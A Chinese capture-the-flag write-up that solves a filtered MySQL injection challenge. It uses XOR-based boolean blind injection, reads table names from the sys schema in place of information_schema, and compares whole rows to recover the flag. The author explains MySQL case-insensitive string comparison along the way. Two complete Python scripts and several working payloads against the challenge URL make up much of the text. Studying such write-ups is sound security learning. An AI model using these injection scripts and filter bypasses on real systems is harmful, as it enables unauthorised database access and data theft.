用到异或注入、bool盲注,这题我感觉最重要的还是理解mysql是如何比较字符串的 与利用 逐位比较 来配合盲注
这题关键过滤了union 、if 、sleep与 information,当然常规的or 和 and也是过滤了的
一开始看到 if 和sleep被过滤了就没有往延时注入、union注入上想
异或注入就成了我的首选!
测试一下
id=1 ^ 1# Error Occured When Fetch Result.
id=1 ^ 0# Nu1L
确实符合异或的预期结果,那就确定是用异或注入了,配合bool盲注来做,毕竟返回结果有差异
接着头疼的问题就是information关键字被过滤,那就想着用别的表来查
首先试试:mysql.innodb_table_stats
,但不行,再试试sys.schema_table_statistics_with_buffer
,发现没被过滤
sys.schema_table_statistics_with_buffer
查表sys.schema_table_statistics查表名的方式跟information_schema差不多:
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
用一个二分法脚本即可爆破出表名:
import requests
import time
url="http://1f776bce-ff04-418c-87fe-031d6abfab73.node3.buuoj.cn/index.php"
flag=''
for i in range(1,300):
min=32
max=128
while 1:
mid=(min+max)//2
if min==mid:
flag+=chr(mid)
print(flag)
break
payload="1 ^ (ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))<{})#".format(i,mid)
print(payload)
data={
'id':payload
}
res=requests.post(url=url,data=data).text
#print(res)
if 'Error Occured When Fetch Result.' in res:
max=mid
else:
min=mid
# if mid>127 or mid<32:
# exit()
time.sleep(0.2)
time.sleep(0.2)
但因为sys.schema_table_statistics查不出列段名,这个方法也只能止步于此了,本来想着无列名注入的,但要用到Union,就不可能了
利用mysql比较字符串时是逐位比较的特点:
看懂下图就懂了mysql的逐位比较:
我们测试一下:
id=1 ^ ((select 2)<(select 2))# Error Occured When Fetch Result.
id=1 ^ ((select 3)<(select 2))# Nu1L
猜测列段数:从结果说明只有两列
1 ^ ((select 1) > (select * from f1ag_1s_h3r3_hhhhh)) bool(false)
1 ^ ((select 1,1) > (select * from f1ag_1s_h3r3_hhhhh)) Error Occured When Fetch Result.
1 ^ ((select 1,1,1) > (select * from f1ag_1s_h3r3_hhhhh)) bool(false)
这里猜测flag在第二列(至于为什么我也不知道…经验吧)
1 ^ ((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))
脚本:
import requests
import time
url='http://1f776bce-ff04-418c-87fe-031d6abfab73.node3.buuoj.cn/index.php'
def str_hex(s): #十六进制转换 fl ==> 0x666c
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res
flag=''
for i in range(1,100):
for j in range(32,128):
#id=1^(ascii(substr(user(),1,1))>10)#
payload="1 ^ ((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(str_hex(flag+chr(j)))
#print(payload)
data={
'id':payload
}
r=requests.post(url=url,data=data).text
#print(r)
if 'Nu1L' in r:
pass
else:
flag+=chr(j-1)
print(flag)
if flag[-1] =='}':
exit
break
time.sleep(0.2)
time.sleep(0.2)
这里是利用16进制来比较的,因为mysql进行字符串比较字符串时不会区分大小写的,导致B
比a
大的情况,所以我认为用16进制就可以避免这种情况,但实际用脚本跑出来全是大写的,也就是说还是出现大写字母会大过某些小写字母的情况(搞不懂,不应该啊)
但好在我们是将ASCII从小到大往上遍历,所以起码保证结果都是正确的,只不过都是大写形式,加之flag的组成是16进制的,字母都是小写,所以我们手动把字母转为小写即可
MariaDB [test]> select (select 'B') > (select 'a');
+-----------------------------+
| (select 'B') > (select 'a') |
+-----------------------------+
| 1 |
+-----------------------------+
MariaDB [test]> select (select 'G') > (select 'f');
+-----------------------------+
| (select 'G') > (select 'f') |
+-----------------------------+
| 1 |
+-----------------------------+
以上是大写字母大过小写字母的例子
--------------------------------------------------------------
以下是16进制就可以避免上述情况的例子
MariaDB [test]> select (select hex('G')) > (select hex('f'));
+---------------------------------------+
| (select hex('G')) > (select hex('f')) |
+---------------------------------------+
| 0 |
+---------------------------------------+
MariaDB [test]> select (select hex('fa')) > (select hex('fA'));
+-----------------------------------------+
| (select hex('fa')) > (select hex('fA')) |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
MariaDB [test]> select (select 0x6661) > (select hex('fA'));
+------------------------------------+
| (select 6661) > (select hex('fA')) |
+------------------------------------+
| 1 |
+------------------------------------+
1. Mysql比较两个字符串与他们各自的长度无关,与他们比较位的ASCII值有关.
2. MySQL比较两个字符串是不区分大小写的!
比如B(66)
跟a(97)
比较,结果是B比a大!
3.直接字符(串)比较字符串就会出现不区分大小写的情况, 但如果是16进制比较字符(串)或16进制比较16进制就不会出现这种情况.